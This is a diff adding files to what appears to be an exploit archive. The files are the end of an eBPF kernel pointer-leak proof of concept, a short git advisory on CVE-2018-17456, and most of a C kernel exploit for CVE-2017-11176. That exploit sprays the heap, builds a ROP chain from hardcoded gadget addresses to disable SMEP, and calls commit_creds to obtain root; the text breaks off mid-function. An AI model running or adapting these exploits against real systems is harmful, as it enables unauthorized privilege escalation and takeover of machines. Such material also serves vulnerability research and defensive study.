\ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +int bpf_(int cmd, union bpf_attr *attrs) { + return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs)); +} + +int array_create(int value_size, int num_entries) { + union bpf_attr create_map_attrs = { + .map_type = BPF_MAP_TYPE_ARRAY, + .key_size = 4, + .value_size = value_size, + .max_entries = num_entries + }; + int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs); + if (mapfd == -1) + err(1, "map create"); + return mapfd; +} + +uint64_t array_get_dw(int mapfd, uint32_t key) { + uint64_t value = 0; + union bpf_attr attr = { + .map_fd = mapfd, + .key = (uint64_t)&key, + .value = (uint64_t)&value, + .flags = BPF_ANY, + }; + int res = bpf_(BPF_MAP_LOOKUP_ELEM, &attr); + if (res) + err(1, "map lookup elem"); + return value; +} + +int prog_load(struct bpf_insn *insns, size_t insns_count) { + char verifier_log[100000]; + union bpf_attr create_prog_attrs = { + .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, + .insn_cnt = insns_count, + .insns = (uint64_t)insns, + .license = (uint64_t)GPLv2, + .log_level = 1, + .log_size = sizeof(verifier_log), + .log_buf = (uint64_t)verifier_log + }; + int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs); + int errno_ = errno; + printf("==========================\n%s==========================\n", verifier_log); + errno = errno_; + if (progfd == -1) + err(1, "prog load"); + return progfd; +} + +int create_filtered_socket_fd(struct bpf_insn *insns, size_t insns_count) { + int progfd = prog_load(insns, insns_count); + + // hook eBPF program up to a socket + // sendmsg() to the socket will trigger the filter + // returning 0 in the filter should toss the packet + int socks[2]; + if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) + err(1, "socketpair"); + if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int))) + err(1, "setsockopt"); + return socks[1]; +} + +void trigger_proc(int sockfd) { + if (write(sockfd, "X", 1) != 1) + err(1, "write to proc socket failed"); +} + +int main(void) { + int small_map = array_create(8, 1); + struct bpf_insn insns[] = { + // load NULL pointer, tracked as "NULL or value pointer", into r0 + BPF_LD_MAP_FD(BPF_REG_ARG1, small_map), + BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), + BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -4), + BPF_ST_MEM(BPF_W, BPF_REG_ARG2, 0, 9), //oob index + BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), + + // compute r9 = laundered_frame_pointer + BPF_MOV64_REG(BPF_REG_9, BPF_REG_FP), + BPF_ALU64_REG(BPF_SUB, BPF_REG_9, BPF_REG_0), + + // store r9 into map + BPF_LD_MAP_FD(BPF_REG_ARG1, small_map), + BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), + BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -4), + BPF_ST_MEM(BPF_W, BPF_REG_ARG2, 0, 0), + BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), + BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), + BPF_EXIT_INSN(), + BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_9, 0), + + BPF_MOV64_IMM(BPF_REG_0, 0), + BPF_EXIT_INSN() + }; + int sock_fd = create_filtered_socket_fd(insns, ARRSIZE(insns)); + trigger_proc(sock_fd); + printf("leaked pointer: 0x%lx\n", array_get_dw(small_map, 0)); +} \ No newline at end of file diff --git a/exploits/linux/local/45548.txt b/exploits/linux/local/45548.txt new file mode 100644 index 000000000..3b7ffc340 --- /dev/null +++ b/exploits/linux/local/45548.txt @@ -0,0 +1,26 @@ +These releases fix a security flaw (CVE-2018-17456), which allowed an +attacker to execute arbitrary code by crafting a malicious .gitmodules +file in a project cloned with --recurse-submodules. + +When running "git clone --recurse-submodules", Git parses the supplied +.gitmodules file for a URL field and blindly passes it as an argument +to a "git clone" subprocess. If the URL field is set to a string that +begins with a dash, this "git clone" subprocess interprets the URL as +an option. This can lead to executing an arbitrary script shipped in +the superproject as the user who ran "git clone". + +In addition to fixing the security issue for the user running "clone", +the 2.17.2, 2.18.1 and 2.19.1 releases have an "fsck" check which can +be used to detect such malicious repository content when fetching or +accepting a push. See "transfer.fsckObjects" in git-config(1). + +Credit for finding and fixing this vulnerability goes to joernchen +and Jeff King, respectively. + +P.S. Folks at Microsoft tried to follow the known exploit recipe on +Git for Windows (but not Cygwin or other Git implementations on +Windows) and found that the recipe (or its variants they can think +of) would not make their system vulnerable. This is due to the fact +that the type of submodule path require by the known exploit recipe +cannot be created on Windows. Nonetheless, it is possible we have +missed some exploitation path and users are encouraged to upgrade. \ No newline at end of file diff --git a/exploits/linux/local/45553.c b/exploits/linux/local/45553.c new file mode 100644 index 000000000..ba2917d9c --- /dev/null +++ b/exploits/linux/local/45553.c @@ -0,0 +1,1279 @@ +/* + * CVE-2017-11176: "mq_notify: double sock_put()" by LEXFO (2018). + * + * DISCLAIMER: The following code is for EDUCATIONAL purpose only. Do not + * use it on a system without authorizations. + * + * WARNING: The exploit WILL NOT work on your target, it requires modifications! + * + * Compile with: + * + * gcc -fpic -O0 -std=c99 -Wall -pthread cve-2017-11176.c -o exploit + * + * For a complete explanation / analysis, please read the following series: + * + * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html + * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part2.html + * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html + * - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part4.html + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// ============================================================================ +// ---------------------------------------------------------------------------- +// ============================================================================ + +#define NOTIFY_COOKIE_LEN (32) +#define SOL_NETLINK (270) // from [include/linux/socket.h] + +#define NB_REALLOC_THREADS 200 +#define KMALLOC_TARGET 1024 + +#define MAX_SOCK_PID_SPRAY 300 + +#define MAGIC_NL_PID 0x11a5dcee +#define MAGIC_NL_GROUPS 0x0 + +// ---------------------------------------------------------------------------- + +// avoid library wrappers +#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp) +#define _mmap(addr, length, prot, flags, fd, offset) syscall(__NR_mmap, addr, length, prot, flags, fd, offset) +#define _munmap(addr, length) syscall(_NR_munmap, addr, length) +#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol) +#define _setsockopt(sockfd, level, optname, optval, optlen) \ + syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen) +#define _getsockopt(sockfd, level, optname, optval, optlen) \ + syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen) +#define _dup(oldfd) syscall(__NR_dup, oldfd) +#define _close(fd) syscall(__NR_close, fd) +#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags) +#define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen) +#define _getpid() syscall(__NR_getpid) +#define _gettid() syscall(__NR_gettid) +#define _sched_setaffinity(pid, cpusetsize, mask) \ + syscall(__NR_sched_setaffinity, pid, cpusetsize, mask) +#define _open(pathname, flags) syscall(__NR_open, pathname, flags) +#define _read(fd, buf, count) syscall(__NR_read, fd, buf, count) +#define _getsockname(sockfd, addr, addrlen) syscall(__NR_getsockname, sockfd, addr, addrlen) +#define _connect(sockfd, addr, addrlen) syscall(__NR_connect, sockfd, addr, addrlen) +#define _sched_yield() syscall(__NR_sched_yield) +#define _lseek(fd, offset, whence) syscall(__NR_lseek, fd, offset, whence) + +// ---------------------------------------------------------------------------- + +#define PRESS_KEY() \ + do { printf("[ ] press key to continue...\n"); getchar(); } while(0) + +#define BUILD_BUG_ON(cond) ((void)sizeof(char[1 - 2 * !!(cond)])) + +// ---------------------------------------------------------------------------- + +// target specific offset +#define NLK_PID_OFFSET 0x288 +#define NLK_GROUPS_OFFSET 0x2a0 +#define NLK_WAIT_OFFSET 0x2b0 +#define WQ_HEAD_TASK_LIST_OFFSET 0x8 +#define WQ_ELMT_FUNC_OFFSET 0x10 +#define WQ_ELMT_TASK_LIST_OFFSET 0x18 +#define TASK_STRUCT_FILES_OFFSET 0x770 +#define FILES_STRUCT_FDT_OFFSET 0x8 +#define FDT_FD_OFFSET 0x8 +#define FILE_STRUCT_PRIVATE_DATA_OFFSET 0xa8 +#define SOCKET_SK_OFFSET 0x38 + +// kernel function symbols +#define NL_PID_HASHFN ((void*) 0xffffffff814b6da0) +#define NETLINK_TABLE_GRAB ((void*) 0xffffffff814b7ea0) +#define NETLINK_TABLE_UNGRAB ((void*) 0xffffffff814b73e0) +#define COMMIT_CREDS ((void*) 0xffffffff810b8ee0) +#define PREPARE_KERNEL_CRED ((void*) 0xffffffff810b90c0) +#define NL_TABLE_ADDR ((void*) 0xffffffff824528c0) + +// gadgets in [_text; _etext] +#define XCHG_EAX_ESP_ADDR ((uint64_t) 0xffffffff8107b6b8) +#define MOV_PTR_RDI_MIN4_EAX_ADDR ((uint64_t) 0xffffffff811513b3) +#define POP_RDI_ADDR ((uint64_t) 0xffffffff8103b81d) +#define MOV_RAX_RBP_ADDR ((uint64_t) 0xffffffff813606d4) +#define SHR_RAX_16_ADDR ((uint64_t) 0xffffffff810621ff) +#define POP_RBP_ADDR ((uint64_t) 0xffffffff811b97bf) +#define MOV_RAX_CR4_LEAVE_ADDR ((uint64_t) 0xffffffff81003009) +#define MOV_CR4_RDI_LEAVE_ADDR ((uint64_t) 0xffffffff8100328d) +#define AND_RAX_RDX_ADDR ((uint64_t) 0xffffffff8130c249) +#define MOV_EDI_EAX_ADDR ((uint64_t) 0xffffffff814f118b) +#define MOV_EDX_EDI_ADDR ((uint64_t) 0xffffffff8139ca54) +#define POP_RCX_ADDR ((uint64_t) 0xffffffff81004abc) +#define JMP_RCX_ADDR ((uint64_t) 0xffffffff8103357c) + +#define THREAD_SIZE (4096 << 2) + +// ---------------------------------------------------------------------------- + +struct realloc_thread_arg +{ + pthread_t tid; + int recv_fd; + int send_fd; + struct sockaddr_un addr; +}; + +struct unblock_thread_arg +{ + int sock_fd; + int unblock_fd; + bool is_ready; // we can use pthread barrier instead +}; + +struct sock_pid +{ + int sock_fd; + uint32_t pid; +}; + +// ---------------------------------------------------------------------------- + +struct hlist_node { + struct hlist_node *next, **pprev; +}; + +struct hlist_head { + struct hlist_node *first; +}; + +struct nl_pid_hash { + struct hlist_head* table; + uint64_t rehash_time; + uint32_t mask; + uint32_t shift; + uint32_t entries; + uint32_t max_shift; + uint32_t rnd; +}; + +struct netlink_table { + struct nl_pid_hash hash; + void* mc_list; + void* listeners; + uint32_t nl_nonroot; + uint32_t groups; + void* cb_mutex; + void* module; + uint32_t registered; +}; + +struct list_head +{ + struct list_head *next, *prev; +}; + +struct wait_queue_head +{ + int slock; + struct list_head task_list; +}; + +typedef int (*wait_queue_func_t)(void *wait, unsigned mode, int flags, void *key); + +struct wait_queue +{ + unsigned int flags; +#define WQ_FLAG_EXCLUSIVE 0x01 + void *private; + wait_queue_func_t func; + struct list_head task_list; +}; + +struct socket { + char pad[SOCKET_SK_OFFSET]; + void *sk; +}; + +struct file { + char pad[FILE_STRUCT_PRIVATE_DATA_OFFSET]; + void *private_data; +}; + +struct fdtable { + char pad[FDT_FD_OFFSET]; + struct file **fd; +}; + +struct files_struct { + char pad[FILES_STRUCT_FDT_OFFSET]; + struct fdtable *fdt; +}; + +struct task_struct { + char pad[TASK_STRUCT_FILES_OFFSET]; + struct files_struct *files; +}; + +struct thread_info { + struct task_struct *task; + char pad[0]; +}; + +// ---------------------------------------------------------------------------- + +typedef void (*netlink_table_grab_func)(void); +typedef void (*netlink_table_ungrab_func)(void); +typedef struct hlist_head* (*nl_pid_hashfn_func)(struct nl_pid_hash *hash, uint32_t pid); +typedef int (*commit_creds_func)(void *new); +typedef void* (*prepare_kernel_cred_func)(void *daemon); + +#define netlink_table_grab() \ + (((netlink_table_grab_func)(NETLINK_TABLE_GRAB))()) +#define netlink_table_ungrab() \ + (((netlink_table_ungrab_func)(NETLINK_TABLE_UNGRAB))()) +#define nl_pid_hashfn(hash, pid) \ + (((nl_pid_hashfn_func)(NL_PID_HASHFN))(hash, pid)) +#define commit_creds(cred) \ + (((commit_creds_func)(COMMIT_CREDS))(cred)) +#define prepare_kernel_cred(daemon) \ + (((prepare_kernel_cred_func)(PREPARE_KERNEL_CRED))(daemon)) + +// ---------------------------------------------------------------------------- + +static volatile size_t g_nb_realloc_thread_ready = 0; +static volatile size_t g_realloc_now = 0; +static volatile char g_realloc_data[KMALLOC_TARGET]; + +static volatile struct list_head g_fake_next_elt; +static volatile struct wait_queue *g_uland_wq_elt; +static volatile char *g_fake_stack; + +static volatile uint64_t saved_esp; +static volatile uint64_t saved_rbp_lo; +static volatile uint64_t saved_rbp_hi; +static volatile uint64_t restored_rbp; +static volatile uint64_t restored_rsp; + +static struct sock_pid g_target; +static struct sock_pid g_guard; +static int unblock_fd = 1; + +// ============================================================================ +// ---------------------------------------------------------------------------- +// ============================================================================ + +#define get_thread_info(thread_stack_ptr) \ + ((struct thread_info*) (thread_stack_ptr & ~(THREAD_SIZE - 1))) + +#define get_current(thread_stack_ptr) \ + ((struct task_struct*) (get_thread_info(thread_stack_ptr)->task)) + +static void payload(void) +{ + struct task_struct *current = get_current(restored_rsp); + struct socket *sock = current->files->fdt->fd[unblock_fd]->private_data; + void *sk; + + sk = sock->sk; // keep it for list walking + sock->sk = NULL; // fix the 'sk' dangling pointer + + // lock all hash tables + netlink_table_grab(); + + // retrieve NETLINK_USERSOCK's hash table + struct netlink_table *nl_table = * (struct netlink_table**)NL_TABLE_ADDR; // deref it! + struct nl_pid_hash *hash = &(nl_table[NETLINK_USERSOCK].hash); + + // retrieve the bucket list + struct hlist_head *bucket = nl_pid_hashfn(hash, g_target.pid); + + // walk the bucket list + struct hlist_node *cur; + struct hlist_node **pprev = &bucket->first; + for (cur = bucket->first; cur; pprev = &cur->next, cur = cur->next) + { + // is this our target ? + if (cur == (struct hlist_node*)sk) + { + // fix the 'next' and 'pprev' field + if (cur->next == (struct hlist_node*)KMALLOC_TARGET) // 'cmsg_len' value (reallocation) + cur->next = NULL; // first scenario: was the last element in the list + cur->pprev = pprev; + + // __hlist_del() operation (dangling pointers fix up) + *(cur->pprev) = cur->next; + if (cur->next) + cur->next->pprev = pprev; + + hash->entries--; // make it clean + + // stop walking + break; + } + } + + // release the lock + netlink_table_ungrab(); + + // privilege (de-)escalation + commit_creds(prepare_kernel_cred(NULL)); +} + +// ============================================================================ +// ---------------------------------------------------------------------------- +// ============================================================================ + +/* + * Migrates the current thread to CPU#0. + * + * Returns 0 on success, -1 on error. + */ + +static int migrate_to_cpu0(void) +{ + cpu_set_t set; + + CPU_ZERO(&set); + CPU_SET(0, &set); + + if (_sched_setaffinity(_getpid(), sizeof(set), &set) == -1) + { + perror("[-] sched_setaffinity"); + return -1; + } + + return 0; +} + +// ============================================================================ +// ---------------------------------------------------------------------------- +// ============================================================================ + +/* + * Creates a NETLINK_USERSOCK netlink socket, binds it and retrieves its pid. + * Argument @sp must not be NULL. + * + * Returns 0 on success, -1 on error. + */ + +static int create_netlink_candidate(struct sock_pid *sp) +{ + struct sockaddr_nl addr = { + .nl_family = AF_NETLINK, + .nl_pad = 0, + .nl_pid = 0, // zero to use netlink_autobind() + .nl_groups = 0 // no groups + + }; + size_t addr_len = sizeof(addr); + + if ((sp->sock_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) == -1) + { + perror("[-] socket"); + goto fail; + } + + if (_bind(sp->sock_fd, (struct sockaddr*)&addr, sizeof(addr)) == -1) + { + perror("[-] bind"); + goto fail_close; + } + + if (_getsockname(sp->sock_fd, &addr, &addr_len)) + { + perror("[-] getsockname"); + goto fail_close; + } + + sp->pid = addr.nl_pid; + + return 0; + +fail_close: + close(sp->sock_fd); +fail: + sp->sock_fd = -1; + sp->pid = -1; + return -1; +} + +// ---------------------------------------------------------------------------- + +/* + * Parses @proto hash table from '/proc/net/netlink' and allocates/fills the + * @pids array. The total numbers of pids matched is stored in @nb_pids. + * + * A typical output looks like: + * + * $ cat /proc/net/netlink + * sk Eth Pid Groups Rmem Wmem Dump Locks Drops + * ffff88001eb47800 0 0 00000000 0 0 (null) 2 0 + * ffff88001fa65800 6 0 00000000 0 0 (null) 2 0 + * + * Every line is printed from netlink_seq_show(): + * + * seq_printf(seq, "%p %-3d %-6d %08x %-8d %-8d %p %-8d %-8d\n" + * + * Returns 0 on success, -1 on error. + */ + +static int parse_proc_net_netlink(int **pids, size_t *nb_pids, uint32_t proto) +{ + int proc_fd; + char buf[4096]; + int ret; + char *ptr; + char *eol_token; + size_t nb_bytes_read = 0; + size_t tot_pids = 1024; + + *pids = NULL; + *nb_pids = 0; + + if ((*pids = calloc(tot_pids, sizeof(**pids))) == NULL) + { + perror("[-] not enough memory"); + goto fail; + } + + memset(buf, 0, sizeof(buf)); + if ((proc_fd = _open("/proc/net/netlink", O_RDONLY)) < 0) + { + perror("[-] open"); + goto fail; + } + +read_next_block: + if ((ret = _read(proc_fd, buf, sizeof(buf))) < 0) + { + perror("[-] read"); + goto fail_close; + } + else if (ret == 0) // no more line to read + { + goto parsing_complete; + } + + ptr = buf; + + if (strstr(ptr, "sk") != NULL) // this is the first line + { + if ((eol_token = strstr(ptr, "\n")) == NULL) + { + // XXX: we don't handle this case, we can't even read one line... + printf("[-] can't find end of first line\n"); + goto fail_close; + } + nb_bytes_read += eol_token - ptr + 1; + ptr = eol_token + 1; // skip the first line + } + +parse_next_line: + // this is a "normal" line + if ((eol_token = strstr(ptr, "\n")) == NULL) // current line is incomplete + { + if (_lseek(proc_fd, nb_bytes_read, SEEK_SET) == -1) + { + perror("[-] lseek"); + goto fail_close; + } + goto read_next_block; + } + else + { + void *cur_addr; + int cur_proto; + int cur_pid; + + sscanf(ptr, "%p %d %d", &cur_addr, &cur_proto, &cur_pid); + + if (cur_proto == proto) + { + if (*nb_pids >= tot_pids) // current array is not big enough, make it grow + { + tot_pids *= 2; + if ((*pids = realloc(*pids, tot_pids * sizeof(int))) == NULL) + { + printf("[-] not enough memory\n"); + goto fail_close; + } + } + + *(*pids + *nb_pids) = cur_pid; + *nb_pids = *nb_pids + 1; + } + + nb_bytes_read += eol_token - ptr + 1; + ptr = eol_token + 1; + goto parse_next_line; + } + +parsing_complete: + close(proc_fd); + return 0; + +fail_close: + close(proc_fd); +fail: + if (*pids != NULL) + free(*pids); + *nb_pids = 0; + return -1; +} + +// ---------------------------------------------------------------------------- + +/* + * Prepare multiple netlink sockets and search "adjacent" ones. Arguments + * @target and @guard must not be NULL. + * + * Returns 0 on success, -1 on error. + */ + +static int find_netlink_candidates(struct sock_pid *target, struct sock_pid *guard) +{ + struct sock_pid candidates[MAX_SOCK_PID_SPRAY]; + int *pids = NULL; + size_t nb_pids; + int i, j; + int nb_owned; + int ret = -1; + + target->sock_fd = -1; + guard->sock_fd = -1; + + // allocate a bunch of netlink sockets + for (i = 0; i < MAX_SOCK_PID_SPRAY; ++i) + { + if (create_netlink_candidate(&candidates[i])) + { + printf("[-] failed to create a new candidate\n"); + goto release_candidates; + } + } + printf("[+] %d candidates created\n", MAX_SOCK_PID_SPRAY); + + if (parse_proc_net_netlink(&pids, &nb_pids, NETLINK_USERSOCK)) + { + printf("[-] failed to parse '/proc/net/netlink'\n"); + goto release_pids; + } + printf("[+] parsing '/proc/net/netlink' complete\n"); + + // find two consecutives pid that we own (slow algorithm O(N*M)) + i = nb_pids; + while (--i > 0) + { + guard->pid = pids[i]; + target->pid = pids[i - 1]; + nb_owned = 0; + + // the list is not ordered by pid, so we do a full walking + for (j = 0; j < MAX_SOCK_PID_SPRAY; ++j) + { + if (candidates[j].pid == guard->pid) + { + guard->sock_fd = candidates[j].sock_fd; + nb_owned++; + } + else if (candidates[j].pid == target->pid) + { + target->sock_fd = candidates[j].sock_fd; + nb_owned++; + } + + if (nb_owned == 2) + goto found; + } + + // reset sock_fd to release them + guard->sock_fd = -1; + target->sock_fd = -1; + } + + // we didn't found any valid candidates, release and quit + goto release_pids; + +found: + printf("[+] adjacent candidates found!\n"); + ret = 0; // we succeed + +release_pids: + i = MAX_SOCK_PID_SPRAY; // reset the candidate counter for release + if (pids != NULL) + free(pids); + +release_candidates: + while (--i >= 0) + { + // do not release the target/guard sockets + if ((candidates[i].sock_fd != target->sock_fd) && + (candidates[i].sock_fd != guard->sock_fd)) + { + close(candidates[i].sock_fd); + } + } + + return ret; +} + +// ============================================================================ +// ---------------------------------------------------------------------------- +// ============================================================================ + +static void* unblock_thread(void *arg) +{ + struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg; + int val = 3535; // need to be different than zero + + // notify the main thread that the unblock thread has been created. It *must* + // directly call mq_notify(). + uta->is_ready = true; + + sleep(5); // gives some time for the main thread to block + + printf("[ ][unblock] closing %d fd\n", uta->sock_fd); + _close(uta->sock_fd); + + printf("[ ][unblock] unblocking now\n"); + if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val))) + perror("[+] setsockopt"); + return NULL; +} + +// ---------------------------------------------------------------------------- + +static int decrease_sock_refcounter(int sock_fd, int unblock_fd) +{ + pthread_t tid; + struct sigevent sigev; + struct unblock_thread_arg uta; + char sival_buffer[NOTIFY_COOKIE_LEN]; + + // initialize the unblock thread arguments + uta.sock_fd = sock_fd; + uta.unblock_fd = unblock_fd; + uta.is_ready = false; + + // initialize the sigevent structure + memset(&sigev, 0, sizeof(sigev)); + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_value.sival_ptr = sival_buffer; + sigev.sigev_signo = uta.sock_fd; + + printf("[ ] creating unblock thread...\n"); + if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0) + { + perror("[-] pthread_create"); + goto fail; + } + while (uta.is_ready == false) // spinlock until thread is created + ; + printf("[+] unblocking thread has been created!\n"); + + printf("[ ] get ready to block\n"); + if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF)) + { + perror("[-] mq_notify"); + goto fail; + } + printf("[+] mq_notify succeed\n"); + + return 0; + +fail: + return -1; +} + +// ---------------------------------------------------------------------------- + +static int fill_receive_buffer(struct sock_pid *target, struct sock_pid *guard) +{ + char buf[1024*10]; + int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF + + struct sockaddr_nl addr = { + .nl_family = AF_NETLINK, + .nl_pad = 0, + .nl_pid = target->pid, // use the target's pid + .nl_groups = 0 // no groups + }; + + struct iovec iov = { + .iov_base = buf, + .iov_len = sizeof(buf) + }; + + struct msghdr mhdr = { + .msg_name = &addr, + .msg_namelen = sizeof(addr), + .msg_iov = &iov, + .msg_iovlen = 1, + .msg_control = NULL, + .msg_controllen = 0, + .msg_flags = 0, + }; + + printf("[ ] preparing blocking netlink socket\n"); + + if (_setsockopt(target->sock_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size))) + perror("[-] setsockopt"); // no worry if it fails, it is just an optim. + else + printf("[+] receive buffer reduced\n"); + + printf("[ ] flooding socket\n"); + while (_sendmsg(guard->sock_fd, &mhdr, MSG_DONTWAIT) > 0) + ; + if (errno != EAGAIN) + { + perror("[-] sendmsg"); + goto fail; + } + printf("[+] flood completed\n"); + + printf("[+] blocking socket ready\n"); + + return 0; + +fail: + printf("[-] failed to prepare blocking socket\n"); + return -1; +} + +// ============================================================================ +// ---------------------------------------------------------------------------- +// ============================================================================ + +// ROP-chains +#define STORE_EAX(addr) \ + *stack++ = POP_RDI_ADDR; \ + *stack++ = (uint64_t)addr + 4; \ + *stack++ = MOV_PTR_RDI_MIN4_EAX_ADDR; + +#define SAVE_ESP(addr) \ + STORE_EAX(addr); + +#define SAVE_RBP(addr_lo, addr_hi) \ + *stack++ = MOV_RAX_RBP_ADDR; \ + STORE_EAX(addr_lo); \ + *stack++ = SHR_RAX_16_ADDR; \ + *stack++ = SHR_RAX_16_ADDR; \ + STORE_EAX(addr_hi); + +#define CR4_TO_RAX() \ + *stack++ = POP_RBP_ADDR; \ + *stack = (unsigned long) stack + 2*8; stack++; /* skip 0xdeadbeef */ \ + *stack++ = MOV_RAX_CR4_LEAVE_ADDR; \ + *stack++ = 0xdeadbeef; // dummy RBP value! + +#define RDI_TO_CR4() \ + *stack++ = POP_RBP_ADDR; \ + *stack = (unsigned long) stack + 2*8; stack++; /* skip 0xdeadbeef */ \ + *stack++ = MOV_CR4_RDI_LEAVE_ADDR; \ + *stack++ = 0xdeadbeef; // dummy RBP value! + +#define SMEP_MASK (~((uint64_t)(1 << 20))) // 0xffffffffffefffff + +#define DISABLE_SMEP() \ + CR4_TO_RAX(); \ + *stack++ = POP_RDI_ADDR; \ + *stack++ = SMEP_MASK; \ + *stack++ = MOV_EDX_EDI_ADDR; \ + *stack++ = AND_RAX_RDX_ADDR; \ + *stack++ = MOV_EDI_EAX_ADDR; \ + RDI_TO_CR4(); + +#define JUMP_TO(addr) \ + *stack++ = POP_RCX_ADDR; \ + *stack++ = (uint64_t) addr; \ + *stack++ = JMP_RCX_ADDR; + +// ---------------------------------------------------------------------------- + +extern void userland_entry(void); // make GCC happy + +static __attribute__((unused)) void wrapper(void) +{ + // avoid the prologue + __asm__ volatile( "userland_entry:" :: ); + + // reconstruct original rbp/rsp + restored_rbp = ((saved_rbp_hi << 32) | saved_rbp_lo); + restored_rsp = ((saved_rbp_hi << 32) | saved_esp); + + __asm__ volatile( "movq %0, %%rax\n" + "movq %%rax, %%rbp\n" + :: "m"(restored_rbp) ); + + __asm__ volatile( "movq %0, %%rax\n" + "movq %%rax, %%rsp\n" + :: "m"(restored_rsp) ); + + uint64_t ptr = (uint64_t) &payload; + __asm__ volatile( "movq %0, %%rax\n" + "call *%%rax\n" + :: "m"(ptr) ); + + // arbitrary call primitive requires a non-null return value (i.e. non zero RAX register) + __asm__ volatile( "movq $5555, %%rax\n" + :: ); + + // avoid the epilogue and the "leave" instruction + __asm__ volatile( "ret" :: ); +} + +// ---------------------------------------------------------------------------- + +static void build_rop_chain(uint64_t *stack) +{ + memset((void*)stack, 0xaa, 4096); + + SAVE_ESP(&saved_esp); + SAVE_RBP(&saved_rbp_lo, &saved_rbp_hi); + DISABLE_SMEP(); + JUMP_TO(&userland_entry); +} + +// ---------------------------------------------------------------------------- + +static int allocate_uland_structs(void) +{ + // arbitrary value, must not collide with already mapped memory (/proc//maps) + void *starting_addr = (void*) 0x20000000; + size_t max_try = 10; + +retry: + if (max_try-- <= 0) + { + printf("[-] failed to allocate structures at fixed location\n"); + return -1; + } + + starting_addr += 4096; + + g_fake_stack = (char*) _mmap(starting_addr, 4096, PROT_READ|PROT_WRITE, + MAP_FIXED|MAP_SHARED|MAP_ANONYMOUS|MAP_LOCKED|MAP_POPULATE, -1, 0); + if (g_fake_stack == MAP_FAILED) + { + perror("[-] mmap"); + goto retry; + } + + g_uland_wq_elt = (struct wait_queue*) _mmap(g_fake_stack + 0x100000000, 4096, PROT_READ|PROT_WRITE, + MAP_FIXED|MAP_SHARED|MAP_ANONYMOUS|MAP_LOCKED|MAP_POPULATE, -1, 0); + if (g_uland_wq_elt == MAP_FAILED) + { + perror("[-] mmap"); + munmap((void*)g_fake_stack, 4096); + goto retry; + } + + // paranoid check + if ((char*)g_uland_wq_elt != ((char*)g_fake_stack + 0x100000000)) + { + munmap((void*)g_fake_stack, 4096); + munmap((void*)g_uland_wq_elt, 4096); + goto retry; + } + + printf("[+] userland structures allocated:\n"); + printf("[+] g_uland_wq_elt = %p\n", g_uland_wq_elt); + printf("[+] g_fake_stack = %p\n", g_fake_stack); + + return 0; +} + +// ============================================================================ +// ---------------------------------------------------------------------------- +// ============================================================================ + +static bool can_use_realloc_gadget(void) +{ + int fd; + int ret; + bool usable = false; + char buf[32]; + + if ((fd = _open("/proc/sys/net/core/optmem_max", O_RDONLY)) < 0) + { + perror("[-] open"); + // TODO: fallback to sysctl syscall + return false; // we can't conclude, try it anyway or not ? + } + + memset(buf, 0, sizeof(buf)); + if ((ret = _read(fd, buf, sizeof(buf))) <= 0) + { + perror("[-] read"); + goto out; + } + printf("[ ] optmem_max = %s", buf); + + if (atol(buf) > 512) // only test if we can use the kmalloc-1024 cache + usable = true; + +out: + _close(fd); + return usable; +} + +// ---------------------------------------------------------------------------- + +static int init_realloc_data(void) +{ + struct cmsghdr *first; + int* pid = (int*)&g_realloc_data[NLK_PID_OFFSET]; + void** groups = (void**)&g_realloc_data[NLK_GROUPS_OFFSET]; + struct wait_queue_head *nlk_wait = (struct wait_queue_head*) &g_realloc_data[NLK_WAIT_OFFSET]; + + memset((void*)g_realloc_data, 'A', sizeof(g_realloc_data)); + + // necessary to pass checks in __scm_send() + first = (struct cmsghdr*) &g_realloc_data; + first->cmsg_len = sizeof(g_realloc_data); + first->cmsg_level = 0; // must be different than SOL_SOCKET=1 to "skip" cmsg + first->cmsg_type = 1; // <---- ARBITRARY VALUE + + // used by reallocation checker + *pid = MAGIC_NL_PID; + *groups = MAGIC_NL_GROUPS; + + // the first element in nlk's wait queue is our userland element (task_list field!) + BUILD_BUG_ON(offsetof(struct wait_queue_head, task_list) != WQ_HEAD_TASK_LIST_OFFSET); + nlk_wait->slock = 0; + nlk_wait->task_list.next = (struct list_head*)&g_uland_wq_elt->task_list; + nlk_wait->task_list.prev = (struct list_head*)&g_uland_wq_elt->task_list; + + // initialise the "fake" second element (because of list_for_each_entry_safe()) + g_fake_next_elt.next = (struct list_head*)&g_fake_next_elt; // point to itself + g_fake_next_elt.prev = (struct list_head*)&g_fake_next_elt; // point to itself + + // initialise the userland wait queue element + 